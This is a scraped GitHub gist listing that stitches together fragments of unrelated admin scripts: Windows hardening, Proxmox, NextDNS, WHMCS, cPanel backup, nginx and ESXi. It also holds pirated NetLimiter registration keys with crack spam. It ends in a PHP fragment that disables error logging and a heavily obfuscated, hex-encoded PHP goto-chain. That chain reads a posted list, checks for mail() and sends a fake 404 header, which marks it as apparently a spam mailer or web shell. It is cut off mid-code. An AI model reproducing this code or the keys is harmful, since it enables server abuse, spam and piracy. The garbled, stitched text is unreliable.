Skip to content

Instantly share code, notes, and snippets.

@sskafandri
sskafandri / windows_hardening.cmd
Created December 27, 2023 20:55 — forked from mackwage/windows_hardening.cmd
Script to perform some hardening of Windows OS
:: Windows 10 Hardening Script
:: This is based mostly on my own personal research and testing. My objective is to secure/harden Windows 10 as much as possible while not impacting usability at all. (Think being able to run on this computer's of family members so secure them but not increase the chances of them having to call you to troubleshoot something related to it later on). References for virtually all settings can be found at the bottom. Just before the references section, you will always find several security settings commented out as they could lead to compatibility issues in common consumer setups but they're worth considering.
:: Obligatory 'views are my own'. :)
:: Thank you @jaredhaight for the Win Firewall config recommendations!
:: Thank you @ricardojba for the DLL Safe Order Search reg key!
:: Thank you @jessicaknotts for the help on testing Exploit Guard configs and checking privacy settings!
:: Best script I've found for Debloating Windows 10: https://github.com/Sycnex/Windows10Debloater
:
NetLimiter 3
Registration name: Peter Raheli
Registration code: C99A2-QSSUD-2CSBG-TSRPN-A2BEB
NetLimiter 4
Registration Name: Vladimir Putin #2
Registration Code: XLEVD-PNASB-6A3BD-Z72GJ-SPAH7
https://www.netlimiter.com/download
# Netlimiter Full Netlimiter Activated Netlimiter cracked Netlimiter Full Version Netlimiter Serial Netlimiter keygen Netlimiter crack Netlimiter 4 serial Netlimiter 4 Crack Netlimiter 4 register Netlimiter 4 patch Netlimiter full Full version Netlimiter 4 Activated Netlimiter 4 Cracked Netlimiter Pro
@sskafandri
sskafandri / proxmox-install-post.sh
Created November 19, 2022 16:49 — forked from sbellver/proxmox-install-post.sh
Post proxmox install
#!/usr/bin/env bash
################################################################################
# This is property of eXtremeSHOK.com
# You are free to use, modify and distribute, however you may not remove this notice.
# Copyright (c) Adrian Jon Kriel :: [email protected]
################################################################################
#
# Script updates can be found at: https://github.com/extremeshok/xshok-proxmox
#
# post-installation script for Proxmox
@sskafandri
sskafandri / block.js
Created June 3, 2022 00:20 — forked from rtfpessoa/nextdns.js
nextdns.io Block Youtube Ads
const configID = "<CONFIG-ID>";
const ignoreDomainsSet = new Set([
"clients.l.google.com",
"clients1.google.com",
"clients2.google.com",
"clients3.google.com",
"clients4.google.com",
"clients5.google.com",
"clients6.google.com",
@sskafandri
sskafandri / unlockip_form.php
Created May 4, 2020 16:29 — forked from msaulohenrique/unlockip_form.php
Criar arquivo no diretório /includes/hooks/
<?php
if ($unblockip_isactive){
use WHMCS\View\Menu\Item;
add_hook('ClientAreaHomepagePanels', 1, function (Item $homePagePanels)
{
$form_unlockip = <<<EOT
<p><strong>
{$unblockip_alerts}</p>
<p><form name='ipaddresscheck' method='POST' action='index.php?m=unblockip'>
<?php
// Bu komut dosyasi, Cpanel yedeginizi otomatik olarak belli zaman araliklarinda ya farkli bir sunucuya ya da kendi ftp sunucunuza yedek aldirir.
// Guvenlik acisindan public_html ya da www dizinlerinde bu dosyayi bulundurmayiniz.
// Bu komut dosyasi, https://gist.github.com/nikhgupta/1071596 adresinden alinti yapilarak cozum uretilmistir.
// Cpanel Erisimi Icin Gerekli Bilgiler
$cpuser = "cpanel_kullanici_adi"; // Cpanel'e giris yapmak icin kullanilan kullanici adi
$cppass = "cpanel_sifre"; // Cpanel'e giris yapmak icin kullanilan sifre
$domain = "siteadi.com"; // Yedeklemesini yapmak istediginiz domain adi
$skin = "paper_lantern"; // Cpanel icin kullanilan tema adi. Guncel surumlerde "paper_lantern" temasi kullanilmaktadir. Eger eski versiyon cpanel kullaniyorsaniz "x" kullanilabilir. Cpanel tema secimi onemlidir, aksi halde script calismaz.
@sskafandri
sskafandri / nginx.conf
Created May 4, 2020 10:55 — forked from jrom/nginx.conf
nginx hack for multiple conditions
if ($request_uri = /) {
set $test A;
}
if ($host ~* teambox.com) {
set $test "${test}B";
}
if ($http_cookie !~* "auth_token") {
set $test "${test}C";
@sskafandri
sskafandri / esxi.sh
Created February 7, 2020 01:42 — forked from noslin005/esxi.md
Update ESXi
esxcli system version get
esxcli software profile get
esxcli network firewall ruleset set -e true -r httpClient
vim-cmd /hostsvc/maintenance_mode_enter
#
esxcli software profile update -d https://hostupdate.vmware.com/software/VUM/PRODUCTION/main/vmw-depot-index.xml -p ESXi-6.7.0-20190402001-standard
<?php
session_start();
error_reporting(0);
set_time_limit(0);
@set_magic_quotes_runtime(0);
@clearstatcache();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
<?php
goto UOZ8G; NqewU: $TiiCL = explode("\12", $_POST["\154\151\163\164"]); goto tL2Q5; nO1LN: PcE6m: goto gBXvA; b2e0R: echo "\x4d\x65\x6d\x6d\x6f\x72\x79\x20\x55\x73\x61\x67\145\40\72\x20" . tn_Kp(memory_get_usage(true)); goto GrCy9; OgDxh: header("\110\124\x54\120\57\x31\56\60\40\x34\x30\x34\40\x4e\157\164\40\x46\x6f\165\156\144"); goto qwD_T; xmdBV: if (!function_exists("\x6d\x61\x69\154")) { goto mfcAk; mfcAk: echo "\74\x66\157\x6e\x74\x20\x63\157\x6c\157\162\x3d\47\162\145\144\47\x3e"; goto j0jE5; j0jE5: echo "\x5b\x2d\135\40\x66\x75\x6e\143\x74\151\x6f\x6e\40\x6d\x61\x69\154\40\x6e\157\164\x20\x65\170\x69\x73\164\163\x20\133\55\x5d\x3c\142\162\76"; goto xk8Zp; ENU0d: echo "\74\57\x66\x6f\x6e\x74\x3e"; goto PGlQd; xk8Zp: echo "\x5b\x2d\135\x20\106\141\151\154\x65\x64\40\x63\157\156\156\x65\x63\164\x20\x74\x6f\40\x6d\141\151\x6c\x73\x65\x72\166\145\x72\40\133\x2d\x5d"; goto ENU0d; PGlQd: die; goto OxVFs; OxVFs: } goto NOwnC; qwD_T: exit; goto q6jli; tL2Q5: foreach ($TiiCL as $JJkjA) { goto yce9u; lj2X3